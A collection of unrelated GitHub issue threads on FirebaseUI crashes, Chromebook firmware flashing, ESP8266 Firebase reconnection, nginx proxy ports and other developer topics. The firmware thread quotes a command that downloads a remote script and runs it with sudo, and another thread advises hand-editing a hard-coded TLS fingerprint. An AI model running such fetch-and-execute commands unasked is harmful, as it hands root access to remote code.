Hmm. That change went in on Monday.  How did the Monday night tests run?

I may need assistance from @atrayano to spot what changed.  This nominally was just extracting a block of code into a helper procedure.   I'm sure it is something small, but may be hard to spot given the nonlocal edit.


No virtual method verifyPhoneNumber

Welcome to FirebaseUI and thanks for submitting an issue!
Please take a look at open issues, as well as resolved issues, to see if your issue is either already being addressed, or has been solved by someone else.
If not, please feel free to fill in the following info so we can help faster!
Step 1: Are you in the right place?

For issues or feature requests related to the code in this repository file a GitHub issue.
For general technical questions, post a question on StackOverflow tagged appropriately.
For general Firebase discussion, use the firebase-talk google group
For help troubleshooting your application that does not fall under one of the above categories, reach out to the personalized Firebase support channel

Step 2: Describe your environment

Android device: motorola one vision_
Android OS version: _10
Google Play Services version: _4.3.4
Firebase/Play Services SDK version: 19.0.0_
FirebaseUI version: 6.4.0

Step 3: Describe the problem:
Since I upgraded to com.google.firebase:firebase-auth:20.0.1, my app crashes when users try to register/login using their phone numbers
Steps to reproduce:

Create a sign in intent builder with phone provider_
Choose phone number_
_App crashes when phone number selected

Observed Results:

What happened?  This could be a description, logcat output, etc.

Fatal Exception: java.lang.NoSuchMethodError
No virtual method verifyPhoneNumber(Ljava/lang/String;JLjava/util/concurrent/TimeUnit;Ljava/util/concurrent/Executor;Lcom/google/firebase/auth/PhoneAuthProvider$OnVerificationStateChangedCallbacks;Lcom/google/firebase/auth/PhoneAuthProvider$ForceResendingToken;)V in class Lcom/google/firebase/auth/PhoneAuthProvider; or its super classes (declaration of 'com.google.firebase.auth.PhoneAuthProvider' appears in base.apk!classes2.dex)

com.firebase.ui.auth.ui.phone.PhoneNumberVerificationHandler.verifyPhoneNumber (PhoneNumberVerificationHandler.java:32)
com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment.onNext (CheckPhoneNumberFragment.java:164)
com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment.start (CheckPhoneNumberFragment.java:155)
com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment.access$100 (CheckPhoneNumberFragment.java:37)
com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment$2.onSuccess (CheckPhoneNumberFragment.java:113)
com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment$2.onSuccess (CheckPhoneNumberFragment.java:110)
com.firebase.ui.auth.viewmodel.ResourceObserver.onChanged (ResourceObserver.java:69)
com.firebase.ui.auth.viewmodel.ResourceObserver.onChanged (ResourceObserver.java:19)

Expected Results:

What did you expect to happen?
I expected to get a text message with a verification number.

Relevant Code:
startActivityForResult(
                  AuthUI.getInstance().createSignInIntentBuilder()
                          .setAvailableProviders(phoneProvider)
                          .setTheme(R.style.BlankTheme)
                          .build(),REQUEST_SIGN_IN
          );
// TODO(you): code here to reproduce the problem

@colorgold FirebaseUI 6.4.0 is only compatible with firebase-auth versions 19.x and below.  If you want to use firebase-auth 20.x you need to upgrade to FirebaseUI 7.0.0 or higher.
The main breaking changes in firebase-auth 20.0.0 were around phone auth, that's why you see this crash.

@colorgold FirebaseUI 6.4.0 is only compatible with firebase-auth versions 19.x and below. If you want to use firebase-auth 20.x you need to upgrade to FirebaseUI 7.0.0 or higher.
The main breaking changes in firebase-auth 20.0.0 were around phone auth, that's why you see this crash.

I forgot to check for FirebaseUI update and was only upgrading the auth and database. Thank you.


Update README Documentation

Just some basic setup to run the project would work such as installing the requirements and outlining how to run the project.

Hi @Namatuzio, thanks for opening the issue.
I just finished documenting the project, you can take a look and suggest any further changes if required.


Falco checksum fail

I have been trying to flash full rom firmware on my HP Chromebook 14, and am stuck at the below error message.
....................................
Downloading Full ROM firmware
(coreboot_tiano-falco-mrchromebox_20191129.rom)
Firmware download checksum fail; download corrupted, cannot flash.
..................................
I followed the website's instruction and executed the below cmd line :
cd; curl -LO https://mrchromebox.tech/firmware-util.sh && sudo bash firmware-util.sh
Thanks in advanced for your assistance!

OK, I found the problem.  The file name is wrong in sources.sh.  It should be coreboot_tiano-falco-mrchromebox_20191201.rom.  So, I downloaded sources.sh manually, edited it, modified firmware-util.sh, and now I have full rom firmware!
Thank you for the great script/package!

sorry about that, fixed


add native-testing-library and update react faqs

Per a request from Kent on Twitter, I'm adding some information about the native-testing-library I built to the docs site. The page is bare, but only because the docs site is so comprehensive, so I just linked the readers to it.
The reason I added it to the ecosystem instead of wrappers is because it isn't really a dom-testing-library wrapper, but it does effectively implement the API... so I consider it part of the ecosystem. I know that doesn't really match with what the "ecosystem" section is right now, but it seemed like a better match than wrappers.
If there's somewhere else you'd like me to put it, just let me know... I was just guessing that was the best place to put it. Thanks!

Thanks for the PR. A few questions -

What is the difference between https://github.com/bcarroll22/native-testing-library and https://github.com/callstack/react-native-testing-library?

Are you sure you want to fork the entire docs site? Maybe wrappers isn't the right word for the heading, but it seems like a reasonably comparable version of the docs you have now could be maintained as a directory within this site. I just mention this as a way to opt in to any future improvements we add to the layout, formatting, or meta pages. And maybe SEO?

We could change "Wrappers" to "Frameworks". The sidebar heading isn't navigable so changing it doesn't break any links.

Yeah no problem!

To be honest, I believe the two probably have kinda the same intent, my team just wasn’t happy with existing solutions. To me, the best parallel are the early days of navigation in react native. Everyone wanted to get you screen to screen, and they all had a take on how to do it right. For transparency on this PR, my goal was to fully adhere to the guiding principles, and my success criteria was that all tests from testing-library pass in native-testing-library. That’s a great transition to the next question.
The tests from -testing-library are all implemented, and do pass, but basically every one needed to be refactored to use the native library syntax. That’s true about most everything about this project. I would have loved to coexist in the testing-library docs, I also would’ve loved to leverage a lot of the dom-testing-library repo, but I truly believe it would do a disservice to us both. I believe that one of the great things about using *TL is that the docs are a clear, informative resource. Also, everything in the code is clear and straightforward. One of the things we were unhappy with regarding existing solutions was that they didn’t feel as thorough/supportive as testing-library.com, and to us, that was a miss. Although with this library, you can probably infer a lot from community resources of react-testing-library, I don’t believe official docs should force you to infer, and that’s what we would’ve ended up expecting.

In summary, I just had to refactor so much to get things to work in native, and had to re-word/edit so much of the docs to get to the end goal of giving native users the same confidence, that I believe it would be wrong to co-locate them. My original intent was to try to PR to dom-testing-library to support native, but it would’ve been gross. Everything, with the exception of maybe 2 or 3 files, had to change to accomplish this goal. I’ll modify the PR to put the sections wherever you want, but I think it’s unfair to DOM and native users to share a docs site, because although I want more than anything for them to “feel” the same, under the hood they are different libraries with different needs, and I think users of both should expect to maintain the same level of clarity when using the respective libraries. I hope this made sense 😬

Personally, I think that even though this doesn't use dom-testing-library under the hood, it still makes sense to get the same first class treatment as the other implantations on the docs site. Lots of people ask me about a native solution despite the existing link. Having it as an actual part of the docs like everything else will give it more legitimacy I think.

Makes sense to me!
You guys can just let me know what changes you want me to make to this PR to get it merged. The only thing that really matters to me is that it have its own site because of the fundamental differences between this and every other implementation in the family (I really think it'll cause less friction for the users). That said, whatever info about it you want in testing-library.com I'd be happy to provide!

At the risk of sounding like I'm proposing a corporate merger (avoiding the word "synergy" 😄), I think there's a lot of value in trying to stick to one site:

Presenting as one site helps keep a consistent narrative across frameworks. All the libraries are unified by the guiding principles; many users use Cypress and React together and React Native is another part of the broader React community.
Splitting up and partially referencing pages like the principles, Jest setup, and examples will split search engine traffic and potentially confuse some users.

I think we can come up with a way to maintain a solid experience within the site that encapsulates all the React Native-specific stuff you've done. As Kent said on Twitter this is the strongest effort yet to get something that adheres to user-centric patterns on React Native and pairing it with the existing documentation should give it a string boost in terms of visibility and adoption.

This is still on my mind, I'm just still thinking about it. I don't want to rush to any conclusion. I think we both have a pretty deep conviction, and I want to make sure we've thought it through pretty thoroughly.
I've been going back through the docs of both, there's just so much specific to react-native on every page because of the underlying differences between native and dom. My only thought is that all we could duplicate nearly every page on testing-library.com, but does that seem right? To me, it seems wrong.
Could they merge the docs for react-dom and react-native? I honestly believe that might be a good parallel. I think it would be so confusing for users if that were the case. I'm not trying to be combative or contrarian, I just really think there needs to be a dedicated site. I don't leverage anything from dom-testing-library, whereas every other wrapper on the site has an easy path to success; just mostly use dom-testing-library docs, library specific docs are small and thin. That's not our scenario with native, almost nothing is exactly the same.
<div role="button" /> means nothing to native-testing-library, <View accessibilityRole="button" /> does though.
queryAllByValueText() doesn't exist in native-testing-library, but queryAllByValue() does though.
These are just two examples, but really everything in the library would've been just as worthy of an example (except like, maybe getByText()and a few other things?
Summary: although native-testing-library and dom-testing-library are kindred spirits, but so are react-dom and react-native, and they're different enough to warrant docs sites for the sake of end users. Maybe the right answer is to pivot testing-library.com to a very generic philosophy/guiding principle site and have separate sites for dom-testing-library and its family of wrappers as well as a site for native-testing-library? Maybe dom.testing-library.com and native.testing-library.com? Just an idea, not saying I believe that's right 🤔

Honestly I don't feel super strongly about it personally. It sounds like you do though and you have good reasons. I'm gone with just linking to the site instead 👍

I'm OK with merging this as-is and thinking about how to better organize this later. I'll open a follow-up issue.


Allow the dashboard to be embedded in another program

I started to check if it was possible to embed Octant inside another Go application but right now a large portion of the code sits inside the internal/ folder which prevents it do be imported.
The goal would be to automatically start/stop Octant when starting something else. It would allow things like an embedded Octant inside a Grafana plugin for instance.
I think moving internal/dash to pkg/dash would be enough by looking at this: https://github.com/vmware/octant/blob/d52b4b0286f865a3d2ad7d3ffb8d6e8bc1eb48ea/internal/commands/dash.go#L68-L92
Would you be open to that change? I'm happy to drive that change and the testing related to it 🙂

While we determine what API stability looks like, we most likely won’t be moving anything else out of internal. What kind of app are you trying to embed it in?

I'm thinking of an application very similar to the kubectl wrapper presented in Airbnb keynote during KubeCon 18. It reduces the amount of typing needed to do common tasks, from kubectl apply to helm upgrade.
I feel that Octant would be a good candidate to bundle as well since it's built to use the user's credentials and run locally.
Considering it's in Go as well, I'd rather import it than making it an external dependency that needs to be installed in the PATH and having to start the binary directly.
I can totally see why the API stability is a concern, but the instability is something one should expect from any project that follows SemVer and is pre-1.x.
Various projects (including early Kubernetes) include a warning in the documentation to make it clear that breaking change should be expected.


fix: kill llm & screenpipe sidecar berfore updating on windows

name: pull request
about: kill llm and screepipe process before updating.
but this issue #575 might occur again if user explicitly restarts the screenpipe backend from status ui while downloading the update, maybe i need to disable those button while update is being downloaded.
fix: #575

description
brief description of the changes in this pr.
related issue: #
type of change

[x] bug fix
[ ] new feature
[ ] breaking change
[ ] documentation update

how to test
add a few steps to test the pr in the most time efficient way.

if relevant add screenshots or screen captures to prove that this PR works to save us time.
checklist

[ ] MOST IMPORTANT: this PR will require less than 30 min to review, merge, and release to production and not crash in the hand of thousands of users
[ ] i have read the CONTRIBUTING.md file
[ ] i have updated the documentation if necessary
[ ] my changes generate no new warnings
[ ] i have added tests that prove my fix is effective or that my feature works

additional notes
any other relevant information about the pr.

thanks :)
/tip $30 @tribhuwan-kumar


Ignite 4991

issue IGNITE-4991 fixed

issue IGNITE-4991 fixed

The ticket is resolved, closing PR.
Please close PRs for your resolved tickets and other non-needed PRs.
Alternatively, ask a committer

to use GitHub UI (committer can associate accounts here: https://gitbox.apache.org/setup/ )
or https://github.com/apache/ignite/blob/master/scripts/apply-pull-request.sh from Apache Ignite source.
or mention in commit message 'Fixes #(a number of PR)'.

These methods will automatically close PR.
Feel free to reopen this PR if it is anyway actual.


kontrol.regulator.post_filter.post_low_pass() doesn't optimize UGF well for high Q systems.

Try not to use the UGFs from control.stability_margins() directly. It's not very robust for phase response that changes drastically over a small frequency range, i.e. the peaks of the high Q systems.
Instead, try to scan the phase around the UGFs (define a range) and use that instead.

See 99d6ee6. Added oscillatory option.
Instead of using the plant itself to calculate the phase margin, we decompose the plant and use the first mode instead.
This has a phase response as the lower bound of the plant. So we find UGFs from the original plant but phase margins from the first mode plant.
From the figure below, see how the single-mode plant "filters" out the phase responses of the higher frequency modes.
Using the single-mode plant will avoid having UGFs that fall in the steep phase drop regions.

The issue is not closed just in case there's bug in the new function. The function is very complex and very long and we might need to break it down in the future.


[1.11-stable] kernel: Enabling PTP clock support in kernel

Allows time synchronization.
Fixes #1103
Signed-off-by: Archana Shinde<EMAIL_ADDRESS>(cherry picked from commit c2023a217d57adbf3c74f62f35f962badcfb60ee)

/test

12:31:52 not ok 2 initContainer with shared volume
12:31:52 # (in test file k8s-shared-volume.bats, line 44)
12:31:52 #   `kubectl exec "$pod_name" -c "$last_container" -- sh -c "$cmd"' failed
12:31:52 # INFO: k8s configured to use runtimeclass
12:31:52 # pod/initcontainer-shared-volume created
12:31:52 # pod/initcontainer-shared-volume condition met
12:31:52 # command terminated with exit code 1
12:31:52 # pod "initcontainer-shared-volume" deleted
12:31:52 Failed at 90: bats "${K8S_TEST_ENTRY}"

This seems weird and unrelated to this one. @GabyCT, @chavafg, was this reported already? If not, I'll file an issue and try to bisect it at some point soon.

/test

@fidencio don't recall seen it before, but it is a good idea to open an issue to track it and debug if we see it again


About project

Hey, I'm a beginner. I don't know anything about open source projects but I'm really skillful in frontend and backend so what I need to do in this project. please someone guide me.

I would google "how contribute open source site:dev.to" for reference material, or use the opensource.guide. As for Accord Project, start with getting familiar with the tech and then browsing the open issues in repositories.


[ES-1131459] Fix multiple Statefulsets down

see https://databricks.slack.com/archives/C02JU4CM6K0/p1715797633010659

lgtm assuming if you have tested thouroughly

need some time to test this

need some time to test this

yep, i can see linter and integration tests are failing now, please make them pass.


Does this actually work?

I couldn't get this to work at all. It doesn't pull the info from fanart.tv nor does it show the movie name, only the file name. Screenshots bellow.

"eg: a video named cat.mp4 will be assumed to be Cat Planet Cuties as it is the first entry on fanart.tv that has a poster and is a tv show or a movie."
https://github.com/fawni/mpcrp/assets/127695532/eb2e8415-2463-40c5-a079-54e960cd38ed

yes it is currently broken i'm not really working on it sorry. it uses some really bad practices (nothing unsafe) so you probably should use another project for now. i might rewrite at some point but that's unlikely if i'm being honest.

Ok! Thanks anyway (=^ ◡ ^=)


class Accounts

Issue Type: Bug
Is there any bug inthis code?
VS Code version: Code 1.58.2 (c3f126316369cd610563c75b1b1725e0679adfb3, 2021-07-14T22:10:15.214Z)
OS version: Windows_NT x64 10.0.19043
Restricted Mode: No

System Info

Item
Value

CPUs
Intel(R) Celeron(R) 3205U @ 1.50GHz (2 x 1497)

GPU Status
2d_canvas: enabledgpu_compositing: enabledmultiple_raster_threads: disabled_offoop_rasterization: enabledopengl: enabled_onrasterization: enabledskia_renderer: enabled_onvideo_decode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabled

Load (avg)
undefined

Memory (System)
3.92GB (0.53GB free)

Process Argv
--crash-reporter-id 68d192bf-fa38-4c43-9e1e-cfd5ac9e68a6

Screen Reader
no

VM
0%

If  can not recieve answer straightly , I do not need  answer.

thak you very much for your kindness. but  I can not  continue .
my abiliyt y is  very poor.
----- 元のメッセージ -----
From: "vscodebot[bot]" @.>
宛先: "microsoft/vscode" @.>
Cc: "hiroshi-nakajima345" @.>, "Author" @.>
送信済み: 2021年07月27日 午前 11:29
件名: Re: [microsoft/vscode] class Accounts (#129478)

(Experimental duplicate detection)Thanks for submitting this issue. Please also check if it is already covered by an existing one, like:How switch account in vscode? (#128718)No where to log into Account (#127905)—You are receiving this because you authored the thread.Reply to this email directly, view it on GitHub, or unsubscribe.


Nadeko music queue doesn't work

When i use !!q to add a song to the queue most of the times doesn't add the song to the queue.

if you're on 0.9, update to 1.0, if you're on 1.0, just wait a few days and it will resolve itself, this is a recurring issue with some youtube library which mostly occurs with vevo songs. Try using less popular video LINKS of the same song (unofficial) and it will work


ESP8266 fails to reconnect to FIREBASE

When i turn on the ESP8266 everything works fine for a while, until the connection with firebase for some reason stops, and im having problems reconnecting to firebase again. Can somebody give me an idea to solve this? without manually reseting the ESP8266 (witch kills the purpose of the ESP8266)
this is my code:
`#include <ESP8266WiFi.h>
#include<FirebaseArduino.h>
#define FIREBASE_HOST "XXXXXXX.firebaseio.com"                 //Your Firebase Project URL goes here without "http:" , "" and "/"
#define FIREBASE_AUTH "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"     //Your Firebase Database Secret goes here
#define WIFI_SSID "wifi"                                              //your WiFi SSID for which yout NodeMCU connects
#define WIFI_PASSWORD "XXXXX"//Password of your wifi network
String varCooler;
#define Cooler 14 //D5
int val2;
void setup()
{
Serial.begin(115200);                                                   // Select the same baud rate if you want to see the datas on Serial Monitor
pinMode(Cooler,OUTPUT);
digitalWrite(Cooler,HIGH);
WiFi.begin(WIFI_SSID,WIFI_PASSWORD);
Serial.print("connecting");
while (WiFi.status()!=WL_CONNECTED){
Serial.print(".");
delay(500);
}
Serial.println();
Serial.print("connected:");
Serial.println(WiFi.localIP());
Firebase.begin(FIREBASE_HOST,FIREBASE_AUTH);
varCooler = Firebase.getString("Cooler");
Firebase.setString("Cooler","1");
Firebase.setString("Cooler",varCooler);
}
void firebasereconnect()
{
Serial.println("Trying to reconnect");
Firebase.begin(FIREBASE_HOST, FIREBASE_AUTH);
}
void loop()
{
if (Firebase.failed())
{
Serial.print("setting number failed:");
Serial.println(Firebase.error());
firebasereconnect();
return;
}
val2=Firebase.getString("Cooler").toInt();                                        //Reading the value of the varialble Status from the firebase
if(val2==1)                                                             // If, the Status is 1, turn on the Relay2
{
digitalWrite(Cooler,HIGH);
Serial.println("Cooler OFF");
}
else if(val2==0)                                                      // If, the Status is 0, turn Off the Relay2
{
digitalWrite(Cooler,LOW);
Serial.println("Cooler ON");
}
}`
Cooler is just variable that is use for output

same issue someone can help us?

for now im just using the ESP.reset(); when the connection stops. its not ideal but its keeps the ESP8266 working 24/7.

@ypegua, how does your esp knows that the connection was lost? With what line of code?

You can do this.:
if (Firebase.failed()) { Serial.print("setting number failed:"); Serial.println(Firebase.error()); ESP.reset();; }
in this section...

You can do this:
if (Firebase.failed())
{
``Serial.print("setting number failed:");
Serial.println(Firebase.error());
ESP.reset();
}

You can do this:
if (Firebase.failed())
{
Serial.print("setting number failed:");
Serial.println(Firebase.error());
ESP.reset();
}

Unfortunately, in my case I got empty Firebase.error() in about 10 minutes, however I still can update values to the firebase. So in my case Firebase.error() does not mean the connection was lost. And I don't want to reboot my esp every 10 min.

Me neither, its just a solution until I find the real problem.

yep it work thx for ESP.reset(); solution but it takes time to reset 2 seconds. but it works, if you find the solution please share it , i do the same .

of course!

I have the same problem, the connections fails at random times.

@ypegua  Firebase.begin() only sets the strings inside of the Firebase object, so effectively does nothing, since the values are the same. It DOES NOT RECONNECT.
void FirebaseArduino::begin(const String& host, const String& auth) {        host_ = host.c_str();        auth_ = auth.c_str(); }
What's more when I used that in loop() it caused the streaming to fail, not sure yet why.

Thank you very much @philipnguyen8588 , solve the problem. Esp8266 after a while disconnect from firebase. Now my project has 3 days working fine!.

Firebase fingerprint change again
E2:34:53:7A:1E:D9:7D:B8:C5:02:36:0D:B2:77:9E:5E:0F:32:71:17

Hello Folks,
I want to make a Home Automation Project with ESP3212 but it takes too much time (execution time is too high) when we give a command.
Please give me a solution.
Why is that, and how can I fix it?
#include <WiFi.h>
#include <IOXhop_FirebaseESP32.h>
#define WIFI_SSID "yyyy"
#define WIFI_PASSWORD "xxxxxxxxxx"
#define Relay1 25      //D
int val1;
#define Relay2 26      //D
int val2;
#define Relay3 27      //D
int val3;
#define Relay4 14      //D
void setup()
{
Serial.begin(115200);
pinMode(Relay1,OUTPUT);
pinMode(Relay2,OUTPUT);
pinMode(Relay3,OUTPUT);
pinMode(Relay4,OUTPUT);
digitalWrite(Relay1,HIGH);
digitalWrite(Relay2,HIGH);
digitalWrite(Relay3,HIGH);
digitalWrite(Relay4,HIGH);
WiFi.begin(WIFI_SSID,WIFI_PASSWORD);
Serial.print("connecting");
while (WiFi.status()!=WL_CONNECTED){
Serial.print(".");
delay(500);
   }

Serial.println();
Serial.print("connected:");
Serial.println(WiFi.localIP());
Firebase.begin("xyz","zyx");
WiFi.setAutoReconnect(true);
}
void firebasereconnect()
{
Serial.println("Trying to reconnect");
Firebase.begin( "xyz", "zyx");
delay(1000);
}
void loop()
{
Firebase.setString("FILE_NAME", "ASIF");
   if (Firebase.failed())
  {

  Serial.print("setting number failed:");
  Serial.println(Firebase.error());
  firebasereconnect();
  return;
}

val1=Firebase.getString("S1").toInt();             //Reading the value of the varialble Status from the firebase
if(val1==1)                                       // If, the Status is 1, turn on the Relay1
{
digitalWrite(Relay1,LOW);
Serial.println("LIGHT ON");
}
else if(val1==0)                                // If, the Status is 0, turn Off the Relay1
{
digitalWrite(Relay1,HIGH);
Serial.println("LIGHT OFF");
}
val2=Firebase.getString("S2").toInt();            //Reading the value of the varialble Status from the firebase
if(val2==1)                                       // If, the Status is 1, turn on the Relay2
{
digitalWrite(Relay2,LOW);
Serial.println("AC ON");
}
else if(val2==0)                                // If, the Status is 0, turn Off the Relay2
{
digitalWrite(Relay2,HIGH);
Serial.println("AC OFF");
}
val3=Firebase.getString("S3").toInt();                                        //Reading the value of the varialble Status from the firebase
if(val3==1)                                                             // If, the Status is 1, turn on the Relay3
{
digitalWrite(Relay3,LOW);
Serial.println("FAN ON");
}
else if(val3==0)                                                      // If, the Status is 0, turn Off the Relay3
{
digitalWrite(Relay3,HIGH);
Serial.println("FAN OFF");
}
val4=Firebase.getString("S4").toInt();                                        //Reading the value of the varialble Status from the firebase
if(val4==1)                                                             // If, the Status is 1, turn on the Relay4
{
digitalWrite(Relay4,LOW);
Serial.println("GEYSER ON");
}
else if(val4==0)                                                      // If, the Status is 0, turn Off the Relay4
{
digitalWrite(Relay4,HIGH);
Serial.println("GEYSER OFF");
}
}

Thank you @felossimon !!!

To find current firebase fingerprint, go to your firebase page with ./json
https://xxxxxxxxx.firebaseio.com/.json
Click on the lock symbol and open the certificate, then at the very end there is the SHA-1 Fingerprint
Reference:
<EMAIL_ADDRESS>

Hi there,
Use this site to find fingerprint:- https://www.grc.com/fingerprints.htm

Steps to update fingerprints:-

Right now fingerprint is:- E2 34 53 7A 1E D9 7D B8 C5 02 36 0D B2 77 9E 5E 0F 32 71 17

So, go to "C:\Users\user-name\Documents\Arduino\libraries\firebase-arduino-master\src\FirebaseHttpClient.h"

Update fingerprint:-

static const char kFirebaseFingerprint[] =
"E2 34 53 7A 1E D9 7D B8 C5 02 36 0D B2 77 9E 5E 0F 32 71 17";
Done :)
Thanks

Is anyone still having this issue? Even after updating to the most recent commit of the Firebase library and changing the Firebase.cpp file as per @philipnguyen8588 's suggestion, I'm still having a reconnection issue. My ESP8266 will stay connected to Firebase for anywhere between 6 - 24 hours, but then will always at some point have a Firebase connection drop and it won't reconnect.
I have confirmed that WiFi is still connected on the ESP8266, it's just the Firebase connection that has the issue. Also, I can't use the ESP.Reset() function when there is a drop, because I use the D0 pin for a sensor on my PCB and sometimes it's low or high depending on the sensor (I think D0 needs to be high during a reset, right?)
Any insight would be amazing

In my case, fix FirebaseArduino.cpp of firebasearduino libs and worked perfectly
Change:
int FirebaseArduino::getInt(const String& path) {
  getRequest(path);
  if (failed()) {
    return 0;
  }
  return FirebaseObject(req_.get()->response().c_str()).getInt();
}

To:
int FirebaseArduino::getInt(const String& path) {
  getRequest(path);
  if (failed()) {
    return -1;
  }
  return FirebaseObject(req_.get()->response().c_str()).getInt();
}

You can change all get function to: return -1 for your code

hi,
ESP.reset(); is this command work in Node mcu

hi,
ESP.reset(); is this command work in Node mcu

Hi there,
ESP.reset(); works with NodeMCU.

@philipnguyen8588 it is possible to fix the error of firebase reconnection (editing the FirebaseESP8266.cpp file) in Firebase version of Mobizt? https://github.com/mobizt/Firebase-ESP8266

Use Mobizt library. Forget this repo!!!!!

I am getting an error
Invalid library found in C:\Users\ukesr\OneDrive\Documents\Arduino\libraries\Firebase_ESP8266_Client: no headers files (.h) found in C:\Users\ukesr\OneDrive\Documents\Arduino\libraries\Firebase_ESP8266_Client
Can anyone please help me

I did and fix this issue. But it is not working in my case.
Please check this :
https://github.community/t/firebase-is-not-reconnected-in-nodemcu/127655?u=phyoepyae

Ironically I came here because I'm having this problem with the Firebase_ESP8266 library.
Pushing data and getting values is fine, including using Firebase.getShallowData ...however Firebase.getJSON can be very unforgiving/flakey. In my case, it seems to be an SPI/serial clash. Still debugging, but it's been days.

I am using "Firebase_Arduino_Client_Library_for_ESP8266_and_ESP32" but i couldn't find this function in the .cpp file
or this is a different liberary?


GEP: DNS configuration as part of Gateway API

This is a GEP tracking issue
What would you like to be added:
A GEP to propose a solution for configuring DNS requirements and configuration associated with a gateway
Why this is needed:
Based on discussion https://github.com/kubernetes-sigs/gateway-api/discussions/2541 there is interest is potentially solving DNS configuration within Gateway API. The discussion and initial GEP will expand on the What and WHY

@maleck13 was it your intention to personally start the initial provisional PR?

Awesome!
/assign @maleck13
Please let us know if you get stuck, have questions, or otherwise need support in moving this forward! :vulcan_salute:

/remove-lifecycle stale

/remove-lifecycle stale
/lifecycle frozen


Grunt task detection fails silently when grunt is not installed locally

Testing #25516

Have a gruntfile
If grunt is not installed globally, an error message will tell you to install it. But if grunt is not installed locally, it will just produce a tasks.json with no tasks.

@roblourens you didn't have a tasks.json file before. Right?

Right

OK. This is caused by the old output runner we want to move away from. With the new runner these tasks are computed by an extension programmatically and the new code handles local and global installed grunt npm modules.

Keeping closed since we make the new terminal runner the default for May.


support scp of PCAP data off the device

requests from multiple customers to support scp of PCAP data off the machine.

deadline for feature is 2017/1/E

released 20161201_2050


feat(size) use algoliasearch/lite

What project are you opening a pull request for?

react-instantsearch (use v2 base)

Summary
React instantsearch will never index or do other functions, so just /lite should be good.
(to be tested thoroughly!)
Result
Just algoliasearch/lite is imported

Deploy preview ready!
Built with commit c10cd3e57df6d8b93a62b0191287a75e4f57b053
https://deploy-preview-2062--algolia-instantsearch.netlify.com

Nice catch @Haroenv!


Add uptime metric to GCM sink.

This metric is computed versus the container start time.

/cc @vishh WDYT?

Can you describe how you think this metric can be used? When a container dies, heapster will stop exporting all metrics including 'uptime'.

The absence of this metric is useful to track, but we can also track container restarts with this. If one of the containers in your pods crashes and gets brought back up, the uptime will go down, although the pod will not change name and the rest of the containers will stay up.

LGTM. This will be useful until we have events collection and processing implemented.


Listening Custom Ports

Is your feature request related to a problem? Please describe.
I would like to make the proxy listen to another custom port.
so that domain.com:8006 can be forwarded.
Describe the solution you'd like
Add Custom port support
If this can be done through custom configuration please let me know

I do this by just adding listen 8448 ssl http2; to the custom configuration area. This example is for a synapse matrix server on their federation port.

I do this by just adding listen 8448 ssl http2; to the custom configuration area. This example is for a synapse matrix server on their federation port.

Chiming in, thanks for the details @Cerothen! Any ideas how to accomplish this on a web socket port? For example, it's trying to open port 7446 over a wss:// stream, but seems that listen config doesn't quite work for that purpose though.

Below is what I am using for my FreePBX proxy, this just goes right into the "advanced" tab. If you put in a ```location /```` then it seems to replace the default block that would have been put in.
listen 8003 ssl http2;
listen 8089 ssl http2;

location / {
    # Force SSL
    include conf.d/include/force-ssl.conf;
    # HSTS (ngx_http_headers_module is required) (31536000 seconds = 1 year)
    add_header Strict-Transport-Security "max-age=31536000;includeSubDomains; preload" always;
    # Websocket
	proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_http_version 1.1;
	# Resolve Issues
	proxy_buffer_size 64k;
	proxy_buffers 4 128k;
	proxy_busy_buffers_size 128k;
    # Proxy!
	if ($server_port = 8003) {
        proxy_pass       https://<IP_ADDRESS>:8003;
    }
    if ($server_port = 8089) {
        proxy_pass       https://<IP_ADDRESS>:8089;
    }
    include conf.d/include/proxy.conf;
}

ports 8003 and 8089 are both websocket ports

Thanks for the help! I tried your suggestion, and while the proxy host still works, the 7446 connection still doesn't seem to work. Basically when I try to load the camera accessing that web socket, I get the console error: WebSocket connection to 'wss://unifivideo.mydomain.com:7446/AzwJjYP_FCECDA1F2F06_1?progressive' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED
Below is your config, modified for my env:
listen 7446 ssl http2;

location / {
    # Force SSL
    include conf.d/include/force-ssl.conf;
    # HSTS (ngx_http_headers_module is required) (31536000 seconds = 1 year)
    add_header Strict-Transport-Security "max-age=31536000;includeSubDomains; preload" always;
    # Websocket
	proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_http_version 1.1;
	# Resolve Issues
	proxy_buffer_size 64k;
	proxy_buffers 4 128k;
	proxy_busy_buffers_size 128k;
    # Proxy!
	if ($server_port = 7443) {
        proxy_pass       https://<IP_ADDRESS>:7443;
    }
    if ($server_port = 7446) {
        proxy_pass       https://<IP_ADDRESS>:7446;
    }
    include conf.d/include/proxy.conf;
}```

This might seem like a silly question but have you confirmed all the other relevant points where the connection could be refused?
Eg.

Is the router port forwarded properly.
When you setup the Docker container did you set the container to use the host network or did you set it to also put though the port your looking for (in addition to the standard 80, 81, 443).
I'm on 2.0.14 for mine if your different perhaps there are some different build options?

Those are my only other suggestions. Hopefully they help you

Thx @Cerothen for all with the same Problem look at your Docker Config, i forgot to route ports 7443 and 7446 to the container: My Working Config for a unifivideo Controller(In only added this code under Advanced):
`listen 7443 ssl http2;
listen 7446 ssl http2;
location / {
# Force SSL
include conf.d/include/force-ssl.conf;
# HSTS (ngx_http_headers_module is required) (31536000 seconds = 1 year)
add_header Strict-Transport-Security "max-age=31536000;includeSubDomains; preload" always;
# Websocket
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_http_version 1.1;
# Resolve Issues
proxy_buffer_size 64k;
proxy_buffers 4 128k;
proxy_busy_buffers_size 128k;
# Proxy!
if ($server_port = 7443) {
proxy_pass       http://<IP_ADDRESS>:7080;
}
if ($server_port = 7446) {
proxy_pass       http://<IP_ADDRESS>:7445;
}
include conf.d/include/proxy.conf;
}`
Sorry for my bad english :-)

I do this by just adding listen 8448 ssl http2; to the custom configuration area. This example is for a synapse matrix server on their federation port.

Hi! I'm currently setting up synapse with the proxy manager. does not work.
can you send me screenshots of your nginx proxy manager configuration?
Thx a lot :-)

Everything is standard with this in the "Advanced". You have to create the proxy host and have it issue the certificate then add the advanced part in to satisfy the listen parameters
